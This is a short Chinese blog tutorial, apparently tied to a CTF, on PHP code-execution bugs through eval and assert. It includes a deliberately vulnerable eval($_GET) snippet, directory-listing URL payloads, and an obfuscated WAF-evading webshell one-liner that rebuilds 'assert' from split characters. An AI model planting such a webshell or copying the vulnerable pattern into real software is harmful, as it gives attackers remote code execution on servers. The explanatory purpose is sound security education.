php任意代码执行漏洞浅析

漏洞成因

 当应用在调用一些能将字符转化为代码的函数(如PHP中的eval,assert)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。

常见函数

php:eval,assert

python:exec

区别

eval与assert区别

eval函数中参数是字符,如:

eval('echo 1;');

assert函数中参数为表达式 (或者为函数),如:

 assert(phpinfo()) 

漏洞利用

1.eval()函数

定义

eval函数把字符串按照php代码来计算。该字符串必须合法,且必须以分号结尾。如果代码字符串中没有返回语句,则返回NULL,如果代码中解析错误,返回false。

例子

<?php
$a = $_GET['a'];
eval($a);
?>

我们可以通过get方式传入一个字符串,由eval执行,就变成命令

http://127.0.0.1/test/1.php?a=var_dump(scandir('./'))

2.assert

定义

检查一个断言是否为false

例子

bugku的过狗一句话,可以试试

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']) 
?>

 扫描当前目录

 http://123.206.87.240:8010/?s=var_dump(scandir(%27./%27))

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值